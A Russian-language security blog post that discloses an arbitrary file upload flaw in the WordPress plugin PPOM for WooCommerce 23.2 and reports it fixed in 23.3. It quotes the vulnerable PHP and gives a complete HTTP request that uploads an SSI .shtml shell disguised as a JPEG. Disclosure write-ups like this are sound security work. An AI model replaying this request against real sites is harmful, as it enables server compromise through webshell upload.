portfob.ru

Блог web безопасности
  • Главная
  • О блоге
Главная  /  BugTrack • SECURITY TIME • Уязвимости  /  Уязвимость в плагине PPOM for WooCommerce Pro version 23.2

Уязвимость в плагине PPOM for WooCommerce Pro version 23.2

admin 22 сентября, 2021 BugTrack, SECURITY TIME, Уязвимости
Уязвимость в плагине PPOM for WooCommerce Pro version 23.2

Многие веб студии, имеют уже готовый набор своих шаблонов и плагинов, для своих заказчиков. Также у них отлажена система взаимодействия через клиентские кабинеты, системы тикетов и форумы. Проводя пентест одного из таких проектов на CMS WordPress, в мое поле зрения попал плагин PPOM for WooCommerce Pro version 23.2

Плагин WooCommerce PPOM (Personalized Product Option Manager) добавляет дополнительные поля ввода на страницу вашего продукта, чтобы персонализировать ваш продукт. Поля ввода Drag & Drop с множеством опций. Цены также могут быть добавлены с опциями. Все данные будут приложены к заказу и электронной почте

Для более детального изучения плагина, с целью найти уязвимость для пробива проекта, скачал его с репозитория https://ru.wordpress.org/plugins/woocommerce-product-addon/

Изучив код, нашел уязвимую функцию ppom_upload_file, которая приводит к произвольной загрузке файлов но для этого должен быть ключевой параметр ppom_nonce, который выдается при заполнение самой формы.

wp-content/plugins/woocommerce-product-addon/inc/files.php

PHP
1
2
3
$ppom_nonce = $_REQUEST['ppom_nonce'];
$file_upload_nonce_action = "ppom_uploading_file_action";
$nonce= wp_create_nonce($file_upload_nonce_action);

далее мы можем указать произвольное название файла и расширение, которое не попадает в блек.

PHP
1
2
3
$file_type = pathinfo($_REQUEST ["name"], PATHINFO_EXTENSION);
$bad_types = array('php','php4','php5','php6','php7','phtml','exe');

Если у нас все хорошо, то идет процесс загрузки файла

PHP
1
2
3
4
5
6
7
8
9
10
11
if (strpos ( $contentType, "multipart" ) !== false) {
if (isset ( $_FILES ['file'] ['tmp_name'] ) && is_uploaded_file ( $_FILES ['file'] ['tmp_name'] )) {
// Open temp file
$out = fopen ( "{$file_path}.part", $chunk == 0 ? "wb" : "ab" );
if ($out) {
// Read binary input stream and append it to temp file
$in = fopen ( $_FILES ['file'] ['tmp_name'], "rb" );
if ($in) {
while ( $buff = fread ( $in, 4096 ) )
fwrite ( $out, $buff );

В рамках доказательства концепции, я решил проверить теорию на демо проекте плагина https://ppom.nmediahosting.com/product/happy-ninja-2/, заполняем форму и подгружаем свой файл, перехватываем и делаем свой запрос.

Уязвимость в плагине PPOM for WooCommerce Pro version 23.2

В качестве шелла я прогружал SSI shtml шелл, которы может выполнять произвольный код и инклудить файлы, есть зависимость этой технологии, она должна быть включена на стороне сервера.

Пример запроса:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /wp-admin/admin-ajax.php
Host: ppom.nmediahosting.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: <em>/</em>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://ppom.nmediahosting.com/product/happy-ninja-2/
Content-Type: multipart/form-data; boundary=---------------------------973114877262076017411506995
Content-Length: 1186
Origin: https://ppom.nmediahosting.com
Connection: keep-alive
TE: Trailers
Pragma: no-cache
Cache-Control: no-cache
-----------------------------973114877262076017411506995
Content-Disposition: form-data; name="name"
shell2.shtml
-----------------------------973114877262076017411506995
Content-Disposition: form-data; name="action"
ppom_upload_file
-----------------------------973114877262076017411506995
Content-Disposition: form-data; name="ppom_nonce"
f064b731ae
-----------------------------973114877262076017411506995
Content-Disposition: form-data; name="file"; filename="1608571892.jpg"
Content-Type: image/jpeg
 
<b><font color="blue">GMT date</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DATE_GMT --></b><br>
<b><font color="blue">Local date</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DATE_LOCAL --></b><br>
<b><font color="blue">Document name</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DOCUMENT_NAME --></b><br>
<b><font color="blue">Document URI</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DOCUMENT_URI --></b><br>
<b><font color="blue">Last modified</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=LAST_MODIFIED --></b><br>
<b><font color="blue">Owner</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=USER_NAME --></b><br>
 
-----------------------------973114877262076017411506995--
Уязвимость в плагине PPOM for WooCommerce Pro version 23.2


Так как, я сообщил разработчику о проблеме, скриншоты с критически важной информацией исключил. Порадовало, что разработчик плагина быстро отреагировал на уязвимость и обновил плагин до версии 23.3

Сайт разработчика: najeebmedia.com

Итог

Суть статьи такова, что если вы используете последние версии плагинов, это вам не гарантирует 100% безопасности проекта. Поэтому рекомендуется делать периодически профилактические меры безопасности ваших проектов, грамотно настраивать сервер, политику безопасности файлов, проводить пентесты и аудит безопасности кода, вести логи запросов, делать регулярные бэкапы проекта.

Previous Article
Next Article

Related Posts

  • xss yandex map

    XSS в сервисе Яндекс-карты

    06.03.2020
  • JS/Redirector.NKN

    Как вирусы убивают скрипты сайта

    22.10.2018
  • Уводим клиентскую базу с “Клатч”

    28.11.2017

Рубрики

  • SECURITY TIME
    • BugTrack
    • Уязвимости
  • Мои записки
  • Прочие
  • Шпаргалки

Свежие записи

  • Шпаргалка по Burp Suite
  • Уязвимость в плагине PPOM for WooCommerce Pro version 23.2
  • Памятка по SQL-инъекциям
  • XSS в сервисе Яндекс-карты
  • Как вирусы убивают скрипты сайта
  • Символы, о значении которых мы и не догадывались
  • Уводим клиентскую базу с “Клатч”
  • Exploitation of the Vulnerability in Plugin for WordPress «Wordfence Security»
  • Как защитить сайт от копирования
  • Старое о главном – проблемы администраторов серверов
Tweets by winstrool
Home page of Winstrool |